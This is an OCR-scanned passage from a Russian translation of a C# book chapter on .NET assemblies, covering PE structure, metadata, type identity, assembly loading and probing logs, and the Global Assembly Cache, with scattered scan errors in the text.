Глава 12 СБОРКИ I До этого момента я использовал термин «компонент» по отношению к библиотеке либо исполняемому файлу. Пришло время рассмотреть это понятие более детально. Во фреймворке .NET более г/одходящим тер- мином для описания компонента программного обеспечения является слово «сборка», которая обычно представляет собой файл с расширени- ем .dll или .ехе. Иногда сборка оказывается разбита на несколько фай- лов, но от этого она не перестает быть неделимой единицей развертыва- ния — вам придется либо предоставить среде выполнения CLR доступ ко всей сборке, либо вовсе отказаться от развертывания. Сборки - важ- ная часть системы типов, поскольку каждый тип идентифицируется не только с помощью своего имени и пространства имен, но и с помощью сборки, где он содержится. Сборки предоставляют определенного рода инкапсуляцию, которая оперирует в гораздо более обширной облает видимости, нежели отдельные типы. Это достигается с помощью моди- фикатора доступа internal, работающего на уровне сборок. Среда выполнения предоставляет загрузчик сборок, который авто- матически находит и загружает сборки, необходимые программе. Для того чтобы убедиться, что загрузчик находит правильные компоненты, сборки имеют структурированные имена, включающие в себя инфор- мацию о версии, а также по возможности содержащие уникальный на более глобальном уровне элемент, что позволяет избежать неоднознач- ности. Сборки и Visual Studio Большая часть типов проектов, предлагаемых средой разработки Visual Studio в диалоговом меню New Project (Создать проект), создает лишь одну сборку. Они также могут поместить в директорию выходных данных и другие файлы, в частности, копии сборок, не принадлежащих библиотеке классов .NET, которые использует ваш проект, а также лю- бые другие, необходимые ему файлы (например, файлы страниц сайта). Но обычно в этом каталоге находится компонент, являющийся целью 632
Сборки сборки для вашего проекта и содержит все типы, определенные в нем, а также весь их код. Я говорю про «большую» часть проектов, поскольку существует множество исключений из этого утверждения. Например, проекты на платформе Azure, предназначенные для облачных приложений, создают развертываемый пакет, в котором содержатся выходные данные одного или нескольких прочих проектов. Они создают не сборки, поскольку их код не компилируется, а лишь пакет, используемый другими, уже ском- пилированными проектами. Также, если вместо того, чтобы применить диалоговое меню New Project (Создать проект) вы выберете пункт меню File => New => Web Site (Файл => Создать => Веб-узел), вы сможе- те создать то, что в среде разработки Visual Studio называется веб-узлом, проект такого типа отличается от стандартного веб-проекта*. Проекты этого типа откладывают компиляцию кода до момента его выполнения, требуя от вас лишь развертывания исходного кода на сервере. Подоб- ный подход использовался в более старой веб-технологии, предшество- вавшей .NET, которая называется ASP (это своего рода^предшественник ASP.NET, рассматриваемого в главе 20, хотя технически они не связа- ны). Различные версии среды разработки Visual Studio поддерживают разные типы проектов, и система проектов легко расширяется, поэтому доступность типов проектов, не создающих сборки, зависит от конфи- гурации вашей системы. Однако обычно подавляющая часть проектов генерирует сборку в качестве результата. Анатомия сборки Сборки используют формат файлов Win32 Portable Executable (РЕ), такой же формат во всех современных версиях Windows** имеют ис- полняемые файлы (с расширением .ехе) и динамически подключаемые библиотеки (DLL). Компилятор языка C# обычно создает файл с рас- ширение .dll либо .ехе. Инструменты, распознающие файлы РЕ, воспри- нимают сборку .NET как корректный, но довольно примитивный файл * Веб-узел, конечно же, можно создать, выбрав веб-проект. Было бы гораздо удоб- нее, если б веб-узлы, не использующие сборок, имели бы более конкретное название, поскольку фраза «Пункт меню Web Site (Веб-узел) применяетЬя не только для создания веб-узлов» может сбивать с толку, хотя это и соответствует истине. ** Слово «современные» я использую в широком смысле — впервые формат файлов РЕ был представлен в Windows NT в 1993 году. Он называется «переносимым», по- скольку один и тот же простой формат файлов используется для различных архитектур центральных процессоров. В отличие от сборок, отдельные файлы часто создаются для какой-то конкретной архитектуры. 633
Глава 12 этого формата. Среда выполнения CLR использует файлы формата РЕ как контейнеры для характерных для фреймворKa.NET форматов дан- ных, поэтому стандартные инструменты Win32 для работы с DLL не бу- дут экспортировать никаких API. Следует помнить, что код языка О компилируется в двоичный промежуточный язык (intermediate language. IL), который не может быть выполнен непосредственно. Обычные меха- низмы Windows, предназначенные для загрузки и выполнения кода ис- полняемого файла или DLL, не будут работать с IL, поскольку он может быть запущен только с помощью среды CLR. Аналогично, фреймворк .NET определяет собственный формат кодирования метаданных. Он также не использует встроенную возможность файлов формата РЕ ж- портировать точки входа или импортировать службы других DLL. Файлы с расширением .ехе, создаваемые с помощью фреймворка .NET, все-таки содержат несколько строк йсполняемого на процессорах х86 кода — он предназначен для загрузки mscoree.dll, которая предостав- ляет Win32 API для запуска среды выполнения CLR. Этот код предна- значен лишь для старых версий операционной системы Windows - act поддерживаемые в данный момент версии ОС распознают исполняем» файлы, созданные с помощью фреймворка .NET, и загружают CLR аг тематически. Код, предназначенный для загрузки среды выполневи CLR, требовался в то время, когда .NET был только представлен обще- ственности, сейчас же он является лишь рудиментарной его частна Спецификация CLI гласит, что этот код должен присутствовать, пое- му он всегда есть, но не используется. Похожим целям служит и стари 16-битная заглушка, которая должна присутствовать в начале исполни- мого файла формата РЕ и позволяет убедиться, что не произойдет нив- го плохого, если программа будет запущена под операционной систему DOS. В наши дни заглушка не имеет никакого значения, но присутст* ет в каждом исполняемом файле (в том числе и в созданном с помонД фреймворка .NET), поскольку этого требует спецификация. Код, w мещенный в таких исторических заглушках, — единственный, гене® руемый компилятором языка С#. Однако некоторые языки фреймвоД .NET создают больше кода. Компилятор C++ компании Microsoft моД создавать и код на промежуточном языке, и машинный, переключи между этими двумя режимами в зависимости от используемых ва особенностей языка. Благодаря языкам, работающим подобным об зом, файлы формата РЕ становятся более чем контейнерами для npoi жуточного языка и метаданных .NET. Они позволяют генерировать, бридные компоненты, которые могут функционировать и как обычн динамически подключаемые библиотеки Win32, и как сборки .NET. 634
Сборки Метаданные .NET Помимо скомпилированного кода-на промежуточном языке IL, сбор- ка содержит .метаданные с полным описанием всех типов, определенных в сборке, как публичных (public), так и закрытых (private). Следует пом- нить, что для того, чтобы среда выполнения CLR могла проверить ваш код на типобезопасность, ей необходимо знать все о используемых вами типах. Фактически метаданные нужны ей лишь для того, чтобы понять код на промежуточном языке и преобразовать его в машинный, — двоич- ный формат промежуточного языка часто использует метаданные сборки и не имеет смысла без них. API-интерфейс отражения, о котором мы по- говорим в главе 13, делает эту информацию доступной для вашего кода. Ресурсы Помимо кода и метаданных в динамически подключаемые библио- теки можно встроить двоичные ресурсы. Например, в приложения, ра- ботающие на стороне клиента, можно встроить поля битов. Для того чтобы встроить файл, необходимо добавить его в проект, выбрать его на панели Solution Explorer (Обозреватель решений), а затем йа вклад- ке Properties (Свойства) указать для пункта Build Action (Действие при сборке) значение Embedded Resource (Встраивание ресурса). Тем самым вы добавите копию выбранного файла в компонент. Чтобы из- влечь ресурс во время выполнения программы, нужно вызвать метод GetManifestResourceStream класса Assembly, который является частью API-интерфейса отражения, описанного в главе 13. Однако на практике вам, скорее всего, не придется обращаться к этой возможности напря- мую - большая часть приложений использует встроенные ресурсы с по- мощью локализующего механизма, который будет описан далее в главе. Подытоживая, можно сказать, что сборка состоит из всеобъемлющего набора метаданных, описывающего все типы, определенные в ней, а так- г*е хранит промежуточный код методов, принадлежащих этим типам, и, ^возможно, в нее встроено несколько двоичных потоков. Все вместе обыч- но помещается в один файл формата РЕ. Однако бывают и исключения. t t : Многофайловые сборки I • Фреймворк .NET позволяет сборке занимать сразу несколько файлов. Код и метаданные могут быть разбиты на несколько модулей. Некоторые 635
Глава 12 двоичные потоки, встроенные в сборку, также иногда размещаются в не- скольких файлах. Такой подход довольно необычен и упомянут здесь толь- ко потому, что я не хотел бы делать ложное заявление, говоря, что «сборка представляет собой один файл». Это почти всегда верно — и было верный для всех проектов .NET, над которыми я работал, — но данный вариант - не единственный, и, однажды заинтриговав вас возможностью создавать1 многофайловые сборки, я не мог обойти стороной эту тему. Кроме того,1 модули используются в API-интерфейсе отражения, поэтому будет по- лезно узнать, что они из себя представляют. Несмотря на все сказанное, необходимость в создании многофайловой сборки возникает очень редко. (Эта возможность даже не присутствует в среде разработки Visual Studio? Многофайловая сборка создается только с помощью командной строка либо путем изменения файла проекта в текстовом редакторе.) В каждой многофайловой сборке присутствует один мастер-файл, который представляет собой сборку. Он имеет формат РЕ и содержит элемент метаданных, называемый манифестом сборки. Не следует пу- тать его с манифестом Win32, содержащимся в большинстве испол- няемых файлов, а также с манифестом развертывания, который будет1 описан позже. Манифест сборки представляет собой всего лишь опи- сание «одержимого сборки, включающего в себя список всех внешних модулей и файлов. Также в манифесте многофайловой сборки указано; в каких файлах определены все типы данных. Когда следует создавать многофайловую сборку? Одним из воз- можных вариантов является ситуация, когда вы не хотите, чтобы среда выполнения CLR загружала сразу все данные вашей программы. По- скольку в манифесте хранится информация о том, в каком файле опи- сан каждый конкретный тип, CLR не будет загружать в память тот мо-( дуль, в котором сейчас нет необходимости. Существует возможность, загружать сборки по сети, и этот способ имеет шанс увеличить скорость запуска приложения. Однако среда выполнения CLR обычно и без того загружает в память не все содержимое файлов, имеющих расширенна .dll или .ехе, — операционная система Windows способна помещать фай-, лы в память по частям, и среда выполнения может получить любые не^ обходимые данные, не заставляя вас при этом фрагментировать файл| самостоятельно. Более того, если вы хотите, чтобы фрагменты вашей| библиотеки использовались независимо друг от друга, разбиение ее на несколько сборок — более прямолинейное решение этой проблемы. В теории многофайловые сборки позволяют объединить код, создан- ный несколькими компиляторами, в одну сборку. Процесс компиляцю 636
Сборки кода в .NET не имеет стадии линковки в отличие от традиционного про- цесса для неуправляемого код^потому, если вам действительно нужно создать проект, подразумевающий использование нескольких языков, многофайловые сборки способны вам в этом помочь. (Также, несмотря на то что компания Microsoft не предоставляет линковщик для фрейм- ворка .NET, существуют сторонние инструменты, позволяющие объеди- нять несколько сборок в одну.) Однако в большинстве случаев лучше предпочесть однофайловые сборки. Прочие особенности формата РЕ Несмотря на то, что C# не применяет стандартные механизмы Win32 для представления кода или экспортирования API в файлы с расшире- нием .ехе или .dll, некоторые классические особенности формата РЕ мо- гут использоваться сборками. Консоль или графический интерфейс? В операционной системе Windows присутствует некоторое раз- граничение между консольными и оконными приложениями. Говоря точнее, формат файлов РЕ требует, чтобы в исполняемом файле была определена подсистема, и во времена Windows NT данный формат поддерживал множество операционных систем — например, ранние версии включали поддержку подсистемы POSIX. В наши дни под- держиваются лишь три подсистемы, одна из которых нужна для драй- веров, работающих непосредственно с ядром. Два других варианта, с пользовательским режимом, предлагают выбор между приложением с графическим интерфейсом Windows и консольным. Принципиаль- ное отличие между ними заключается в том, что при выборе второго варианта операционная система Windows отобразит окно консоли (или, если вы запускаете приложение с помощью командной строки, ОС будет использовать существующее окно консоли), а при выборе первого — нет. Выбор между подсистемами можно сделать на вкладке Application (Приложение) в диалоговом окне свойств проекта, в выпадающем спи- ске Output type (Тип выходных данных). Вы можете указать вариан- ты Windows application (Приложение Windows) и Console Application (Консольное приложение). Также в этом списке содержится пункт Class Library (Библиотека классов), при выборе которого создается .dll- библиотека; .^///-библиотеки не определяют подсистему. 637
Глава 12 Работа с ресурсами Win32 Платформа .NET определяет собственный механизм внедрения дво- ичных ресурсов, и API-интерфейс локализации, построенный поверх него, поэтому она практически не использует поддержку внедрени ресурсов, встроенную в файлы формата РЕ. Ничто не мешает вам по- местить классические ресурсы Win32 в .NET-компонент — на вкладе Application (Приложение) диалогового окна свойств проекта присуг ствует раздел, предоставляющий вам эту возможность, а компилятор C# предлагает для того же различные операторы командной строки. Тем не менее платформа .NET не предлагает API-интерфейса для достуа к ресурсам во время выполнения программы, и именно поэтому в боль- шинстве случаев вы будете использовать систему ресурсов платформы .NET. Однако есть некоторые исключения. Операционная система Windows рассчитывает найти ресурсы в ис- полняемых файлах. Например, вы можете указать собственную иконку приложения, которая будет отображаться на панели задач и в прово- днике Windows. Для этого необходимо встроить ресурс, как того тре- бует API-интерфейс Win32 , поскольку проводник не может извлеку ресурсы платформы .NET. Кроме того, если вы создаете классически настольное приложение Windows (написанное с помощью языков плат- формы .NET или каких-либо других), оно должно содержать манифест приложения. В противном случае операционная система Windows по- считает, что ваше приложение было написано до 2006 года* и измену либо отключит некоторые функции для обеспечения обратной совм| стимости. Приложение так же должно содержать манифест и в том слу- чае, если вы хотите, чтобы оно соответствовало определенным cepnfc фикационным требованиям компании Microsoft. Подобный манифе^ нужно встроить в приложение как ресурс Win32 (он полностью отличу ется от манифеста сборки платформы .NET, а также от манифеста рА вертывания, описанных далее в этой главе). А Уже упомянутая вкладка Application (Приложение), размещений на странице свойств проекта, предоставляет специальную поддерж^ для встраивания манифеста, и если вы создаете настольное приложен! среда разработки Visual Studio настраивает ваш проект таким образа чтобы подходящий манифест предоставлялся по умолчанию. * В 2006 году была выпущена операционная система Windows Vista. Хотя мал фесты приложений появились еще раньше, именно эта версия Windows впервые ста расценивать приложения без манифестов как устаревшие. 638
Сборки Операционная система Windows также позволяет встраивать ин- формацию о версии приложения как неуправляемый ресурс. Сборки, созданные с помощью языка C# обычно делают это самостоятельно, и вам не нужно определять ресурс, содержащий информацию о версии. Компилятор может сгенерировать его для вас, что будет показано в раз- деле «Версии». Идентификатор типа Для разработчика, использующего язык С#, первое знакомство со сборками сводится к осознанию того факта, что они представляют собой часть идентификатора типа. Каждый создаваемый вами класс в конечном итоге окажется в сборке. При применении типа библиотеки классов плат- формы .NET либо какой-либо другой вам понадобится ссылка на сборку, которая содержит этот тип, прежде чем вы сможете его использовать. Это не всегда очевидно при применении системы типов. При соз- дании проекта среда разработки Visual Studio автоматически добавляет ссылки на наиболее часто используемые сборки библиотек классов. Так, для многих типов, содержащихся в библиотеках, вам не нужно будет добавлять ссылку на библиотеку, чтобы их применить, и, поскольку вы обычно явно не ссылаетесь в исходном коде на сборку, содержащую тип, тот факт, что она — неотъемлемый атрибут при указании типа, не кажет- ся очевидным. Однако несмотря на то что сборки не используются в коде явно, они являются частью идентификатора типа, поскольку ничто не мешает вам или кому-либо еще определить новый тип и назвать его так же, как один из уже существующих. Вы можете определить в вашем проекте класс с именем System. String. Это не самая лучшая идея, и компилятор преду- предит вас, что вы вносите в проект двусмысленность, но останавливать вас не станет. Но даже если ваш класс будет иметь точно такое же пол- ное имя, как и встроенный тип string, компилятор и среда выполнения CLR смогут различить эти типы. Всякий раз, когда вы используете тип, обращаясь к нему явно по имени (например, при объявлении переменной или параметра) или кос- венным образом с помощью выражения, компилятор C# точно знает, на какой тип вы ссылаетесь, то есть ему известно, в какой сборке он опреде- лен. Таким образом, компилятор делает различие между типом System. String, определенным в сборке mscorlib, и типом System.String, опреде- 639
Глава 12 ленным в вашем компоненте. Согласно правилам относительно обласп видимости, явная ссылка на System.String указывает на тип в ваше! проекте, поскольку локально определенные типы, по сути, скрываю! одноименные, определенные во внешних сборках. Но если вы исполь зуете ключевое слово string, которое относится к типу, определенном в сборке mscorlib, будет выбран встроенный тип. Также встроенный тш будет выбран в том случае, если вы используете строковой литерал ил1 вызываете API-интерфейс, возвращающий строку. Это продемонстри ровано в листинге 12.1 — в нем определяется тип System.String, азате! вызывается обобщенный метод, который выводит на экран Лип и им сборки аргумента статического типа, передаваемый в него. Листинг 12.1. Какой тип имеет строка? using System; // Никогда так не делайте! namespace System Z { public class String { } ) class Program ( 1 static void Main(string[] args) I { System.String s = null; ShowStaticTypeNameAndAssembly(s); string s2 = null; ShowStaticTypeNameAndAssembly(s2); ShowStaticTypeNameAndAssembly("String literal"); ShowStaticTypeNameAndAssembly(Environment.OSVersion .Versionstring); } static void ShowStaticTypeNameAndAssembly<T>(T item) { Type t = typeof(T); Console.WriteLine("Type: {0}. Assembly {1}.", t.FullName, t.Assembly.FullName); ) 640 “
Сборки Метод Main в этом примере принимает строки, созданные нескольки- ми описанными ранее способами, и выводит следующую информацию: Type: System.String. Assembly МуАрр, Version=l.О.О.О, Culture=neutral, PublicKeyToken=null. Type: System.String. Assembly mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089. Type: System.String. Assembly mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089. Type: System.String. Assembly mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089. Следствием явного использования типа System.String стало то, что была выведена информация о типе, определенном мной, а передача ар- гументов всех остальных типов привела к выводу информации об опре- деленном системой типе string. Данный пример показывает, что компи- лятор C# может разграничивать несколько типов с одинаковым именем. Он также показывает, что и промежуточный язык IL в состоянии сде- лать это. Его двоичный формат гарантирует, что каждая ссылка на тип идентифицирует сборку, в которой тот содержится. Но наличие самой возможности создавать несколько типов с одинаковым именем не озна- чает, что вы должны так делать. Поскольку в C# обычно не указывается явно имя вмещающей сборки, будет крайне неудачной идеей вводить бессмысленные конфликты имен, определяя, например, собственный класс System. String. (Если это произошло, в случае крайней необходи- мости можно разрешать такого рода конфликты — обратитесь к врезке «Внешние псевдонимы» для получения детальной информации, — но лучше избегать подобного.) Внешние псевдонимы Когда в одной области видимости находятся несколько типов с оди- наковыми именами, язык C# обычно использует тип из более близкой области видимости, поэтому локально определенный System.String скрывает встроенный тип с таким же именем. Неразумно вводить по- добные конфликты имен, но если это необходимо, язык C# предла- гает механизм, который позволяет указывать желаемую сборку. Вы можете определить внешний псевдоним. В главе 1 были продемон- стрированы псевдонимы типов, определенные с помощью ключе- вого слова using и облегчающие обозначение типов с одинаковыми простыми именами, которые расположены в разных пространствах 641
Глава 12 имен. Внешние псевдонимы позволяют различать типы с одинак! выми полными именами, которые расположены в разных сборках. Дляопределениявнешнихпсевдонимовразвернитеузел Reference (Ссылки) на панели Solution Explorer (Обозреватель решений) и в* берите ссылку. Затем можно будет задать псевдоним для даннс ссылки на панели Properties (Свойства). Если вы определили д| одной сборки псевдоним А1, а для другой — А2, вам следует обы вить о том, что вы хотите использовать эти псевдонимы, пбмесл в начале файла исходного кода следующие строки: extern alias Al; extern alias A2; Сделав так, вы сможете обращаться к полному имени типа в пом< щью конструкций А1:: или А2::, после которых указывается полис имя типа. Они сообщают компилятору, чтр вы хотите использова типы, определенные в сборке (или сборках), связанной с данны псевдонимом, даже если в этой области видимости присутствуй другие типы с таким же именем. Если идея иметь несколько типов с одинаковым именем настолы rdioxa, то почему фреймворк .NET позволяет делать это? На самом да разработчики не задавались целью обеспечить поддержку возможной создавать конфликты имен, это просто побочный эффект того, что .NE делает сборку частью типа. Среда выполнения CLR должна знать, в к кой сборке определен тип, чтобы найти нужную сборку во время bi полнения программы в тот момент, когда вы в первый раз используе какие-либо функции этого типа. Загрузка сборок Вы уже знакомы с разделом References (Ссылки) панели SolutN Explorer (Обозреватель решений). Я допускаю мысль, что вы был встревожены количеством ссылок, содержащихся в ряде проектов,! возможно, захотели удалить какие-то элементы из этого списка большей эффективности. На самом деле вам не стоит беспокоить)! Компилятор C# игнорирует любые ссылки, которые ваш проект ни разу не использует, так что нет никакой опасности загрузки лишних библ» тек, не нужных вам в даЗтьйейшем. Даже если бы компилятор C# не удалял неиспользуемые ссылки» время сборки программы, риска загрузки ненужных библиотек все par 642 ’
Сборки но не существовало бы. Среда выполнения CLR не пытается загрузить сборку до тех пор, пока та не понадобится вашему приложению. Большинство приложений не проходят по каждому возможному пути выполнения кода, поэтому часто значительная часть кода оказы- вается незадействованной. После завершения работы программы неис- пользованными могут остаться целые классы — те, например, которые принимают участие только при обработке необычных ошибок. Если сборка применяется только в каком-либо методе такого класса, она не будет загружена в память. Среда выполнения CLR может сама решать, что значит «использо- вать» какую-либо сборку. Если в методе есть код, который ссылается на какой-то конкретный тип (например, в нем объявляется переменная это- го типа или содержатся выражения, использующие его неявно), то среда выполнения может посчитать, что тип будет применяться при первом запуске метода, даже если выполнение метода не дойдет до того места, где этот тип действительно используется. Рассмотрим листинг 12.2. Листинг 12.2. Загрузка типа и выполнение условий static IComparer<string> GetComparer(bool caseSensitive) { if (caseSensitive) { return Stringcomparer.Currentculture; I else f ( return new MyCustomComparer(); I В зависимости от переданных аргументов эта функция либо воз- вращает объект, предоставленный встроенным классом Stringcomparer, либо создает новый объект типа MyCustomComparer. Тип Stringcomparer определен в сборке mscorlib, там же, где и базовые типы int, string и др., и поэтому он будет загружен еще до того, как программа начнет выпол- няться. Предположим, что другой тип, MyCustomComparer, был определен в отдельной сборке из другого моего приложения, которое, называется ComparerLib. Очевидно, что если методу GetComparer передать в качестве аргумента значение false, среде выполнения CLR потребуется загру- 643
Глава 12 зить в память сборку Comparer Lib, если это еще не сделано. Но, что не- сколько более удивительно, среда выполнения может загрузить сборку ComparerLib при первом вызове метода, даже если переданный аргумент имеет значение true. Чтобы иметь возможность использовать компиля- цию точно к нужному моменту для метода GetComparer, среде выполне- ния CLR будет необходим доступ к определению типа MyCustomComparer. Принцип работы JIT-компилятора зависит от его реализации, потому он не в полной мере задокументирован и может отличаться от версии к версии, но, скорее всего, он будет оперировать одним методом в один момент времени. Так что простого вызова метода, вероятно, будет доста- точно, чтобы загрузить сборку. Подобный принцип загрузки сборок по требованию означает, что при вызове метода можно потерпеть неудачу — вызвав метод, который использует (хотя бы иногда) тип, расположенный во внешней сборке, в случае, если среда выполнения CLR не сможет найти эту сборку, вы получите исключение FileNotFoundException. Оно может быть сгенери- ровано при неудачных попытках найти файлы и в других ситуациях. Не существует отдельного типа исключений, которые бы генерировались при неудачной попытке поиска сборки, что иногда приводит к путани- це, особенно если ваше приложение работает с файлами. Поначалу вы вполне можете подумать, что оно не способно открыть необходимый файл, хотя проблема на самом деле будет заключаться в том, что не хва- тает одного из файлов библиотек. Однако свойство исключения Message помогает прояснить ситуацию — вы увидите следующее сообщение: Could not load file or assembly 'ComparerLib, Version=l.0.0.0, Cuiture=neutral, PublicKeyToken=null' or one of its dependencies. The system cannot find the file specified. (He удалось загрузить файл или сборку ’ComparerLib, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' или одну из ее зависимостей. Системе не удается найти указанный файл.) Исключения типа FileNotFoundException также содержат свойство, называемое FusionLog. {Fusion — это кодовое название, которое компа- ния Microsoft использует для технологии, отвечающей за обнаруже- ние и загрузку сборок. Несколько необычно, что оно стало не только публично известно, но и было закреплено в API.) Это свойство весьма полезно для диагностики сбоев, поскольку сообщает, в каком месте вы- полняющая среда CLR искала сборку. (Оно также делает отсутствие специализированного тйтй исключения еще более странным, посколь* 644
Сборки ку не используется ни для каких других целей при вызове исключения типа FileNotFoundException в других ситуациях.) Рассмотрим пример содержимого свойства FusionLog для исключения, приведенного выше. === Pre-bind state information === LOG: User = PEMBREYMan LOG: DisplayName = ComparerLib, Version=l.0.0.0, Culture=neutral, PublicKeyToken=null (Fully-specified) LOG: Appbase = file:///C:/Demo/ LOG: Initial PrivatePath = NULL Calling assembly Consumer, Version=l.0.0.0, Culture=neutral, PublicKeyToken=null. * LOG: This bind starts in default load context. LOG: No application configuration file found. LOG: Using host configuration file: LOG: Using machine configuration file from C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config. LOG: Policy not being applied to reference at this time (private, custom, partial, or location-based assembly bind). LOG: Attempting download of new URL file:///C:/Demo/ComparerLib.DLL. LOG: Attempting download of new URL file:///C:/Demo/ComparerLib/ ComparerLib.DLL. LOG: Attempting download of new URL file:///C:/Demo/ComparerLib.EXE. LOG: Attempting download of new URL file:///C:/Demo/ComparerLib/ ComparerLib.EXE. Этот отчет начинается с рассказа о том, какая информация была ис- пользована — можно видеть полное название искомой сборки, место, в котором выполняется приложение (в отчете оно называется AppBase), а также полное имя сборки, вызвавшее загрузку, — строка Calling Assembly (Вызывающая сборка) ссылается на компонент Consumer (По- требитель), который уже находится в памяти и пытается загрузить дру- гую сборку. Наконец, в отчете показано, в каких каталогах выполняющая среда CLR искала требуемый файл. Все эти записи журнала содержат текст Attempting download (англ, попытка загрузить), поскольку среда выпол- нения CLR имеет возможность запускать приложения, не установлен- ные локально, — вы предоставляете ей URL, по которому запускается приложение, и она пытается загрузить сборку с его помощью, а затем 645
Глава 12 пробует разрешить ссылки на другие сборки, формируя относительны URL-адреса и загружая эти сборки с их помощью. В приведенном при мере все URL начинаются с конструкции file:, поэтому на самом дел загрузка не выполняется, но распознаватель сборок в любом случае за писывает информацию в журнал. Поскольку среда выполнения заинте ресована подобном, распознаватель просто проверяет различные UR на наличие сборок. Как вы можете видеть, загрузчик проверил четыре директории, пере тем как сдаться. Такой процесс поиска называется зондированием. За грузчик пытался найти сборку, которая называется ComparerLib, поэте му он сначала попробовал поискать файл ComparerLib.dll в каталоге, гд располагается приложение (или, точнее, в каталоге, указанном в стро ке AppBase). Ничего не найдя, загрузчик проверил наличие файла с та ким же именем во вложенном каталоге (то есть он искал Compared.^ ComparerLib.dll). Это также не сработало» и оба каталога были провере ны на наличие файла с таким же именем, но с расширением .ехе. Сред выполнения CLR не различает динамически подключаемые библиотек и исполняемые файлы — как вы видели в главе 1, вполне допускаете добавлять ссылку на файл с расширением .ехе. Модульное тестировали было бы неудобным, если такой возможности не существовало. Имея сборок не включают в себя расширение файла, так что среда выполне ния должна проверить оба варианта. Явная загрузка Хотя среда выполнения CLR будет загружать сборки по требовании можно также загружать их явно. Например, если вы создаете приложе ние, которое поддерживает плагины, при написании кода вы не будет точно знать, какие именно компоненты загрузятся во время выполне ния программы. Весь смысл системы плагинов заключается в том, чп приложение становится расширяемым, так что вы, вероятно, захотит загрузить все библиотеки в один определенный каталог. (Обнаружит и использовать типы этих библиотек можно с помощью отражения, ка1 будет показано в главе 13.) Если вы знаете полный путь к сборке, загрузить ее очень просто: bi вызываете статический метод LoadFrom класса Assembly, передавая пут к файлу в качестве аргумента. Путь может быть либо указан относи тельно текущепУ-кйталога, либо представлен в абсолютной форме. Bi 646
Сборки даже можете использовать URL. Этот статический метод возвращает экземпляр класса Assembly, который является частью API-интерфейса отражения. API-интерфейс предоставляет способы для обнаружения и использования типов, определенных сборкой. Среда выполнения CLR помнит, какие сборки были загруже- ны с помощью метода LoadFrom. После того как сборка, загру- женная таким образом, инициирует загрузку прочих сборок, среда выполнения будет пытаться прозондировать каталог, из которого та была загружена. Это означает, что если ваше при- ложение хранит надстройки в отдельном каталоге, что в обыч- ном случае не будет прозондирован, они смогут установить другие компоненты, от которых зависят, в свой же каталог. Среда выполнения CLR найдет их без необходимости вызова метода LoadFrom даже несмотря на то что она скорее всего не проверяла бы эти каталоги при неявно вызванной загрузке. Иногда вам может понадобиться загрузить компонент явно (скажем, чтобы использовать его с помощью отражения) и при этом не указы- вать путь. Например, вы можете загрузить частичную сборку библиоте- ки классов платформы .NET. Вы никогда не должны жестко указывать расположение компонента системы — оно имеет тенденцию изменяться от одной версии платформы .NET к другой. Вместо этого вы должны использовать метод Assembly.Load, передавая ему в качестве параметра имя сборки. Он примейяет точно такой же механизм, как неявно инициирован- ная загрузка. С помощью этого метода вы можете загрузить либо ком- понент, который вы установили вместе с вашим приложением, либо системный компонент. В любом случае вы должны указать полное имя сборки, такое, как виденное ранее в журнале Fusion. Подобные пол- ные имена, например, ComparerLib, Version=l.0.0.0, Culture=neutral, PublicKeyToken=NULL , содержат имя и информацию о версии, а также другие особенности, которые я опишу далее в разделе «Названия сбо- рок», но сначала мне хотелось бы рассмотреть, как среда выполнения CLR обнаруживает системные сборки. Механизм зондирования, виден- ный вами в журнале Fusion, в данном случае не поможет, поскольку ни в одно приложение не добавляется полная копия библиотеки классов NET Framework. Среда выполнения CLR находит эти сборки в совер- шенно другом месте. 647
Глава 12 Глобальный кэш сборок В обычном варианте настольного либо серверного фреймворка .NE' среда выполнения CLR имеет место для хранения сборок, называемо «Глобальный кэш сборок» (Global Assembly Cache или GAC). Здесь нг ходится все сборки библиотеки классов фреймворка .NET. GAC расти ряем, поэтому в него можно установить дополнительные сборки. Версии Silverlight, Windows Phone и .NET Core (версия фрейм . ворка .NET для приложений, имеющих графический интер фейс в стиле Windows 8) не имеют точного аналога GAC Вместо этого у них есть общее хранилище, содержащее во сборки системы, однако вы не можете добавить туда соб| ственные сборки. Если вы захотите посмотреть на GAC, имейте в виду, что его рас* положение зависит от версии фреймворка .NET, который вы исполь- зуете. Для всех его версий вплоть до 3.5 внутри каталога операционно4 системы существовала папка assembly, и в большинстве систем пуп к глобальному кэшу сборок выглядел как C:\Windows\assembly. Данное хранилище, применяемое в старых версиях, позволяет легко увидеть логическое содержание GAC, поскольку вместе с фреймворком .NET устанавливается расширение графической оболочки для этого катало- га. Если вы просмотрите каталог в проводнике Windows, вы не увидите его структуры — вам будет продемонстрирован список всех сборок, на- ходящихся в GAC вашей системы, что показано на рис. 12.1. Несложно заметить, что GAC может содержать несколько версий одной и той же сборки. Похожего расширения графической оболочки для фреймворка .NET 4.0 или более поздней версии не существует, так что в этой главе я демонстрирую старую версию — глядя на реальные каталоги на дискет труднее понять логическую структуру кэша сборок. Вы можете исследовать реальный макет, рассмотрев тот же каталог с помощью командной строки. Кроме того, вы можете поискать гло- бальный кэш сборок фреймворков NET 4.0 и 4.5 в каталоге C:\Windows\ Microsoft \.NET\Assembly, который имеет похожую структуру и не скры- вает ее за расширением графической оболочки. Там вы найдете раз- личные подкаталоги, куда помещается сборка в зависимости от того, является ли она архитектурно независимой либо функционирует лишь при определенных режимах работы процессора. (Хотя промежуточньЛ 648
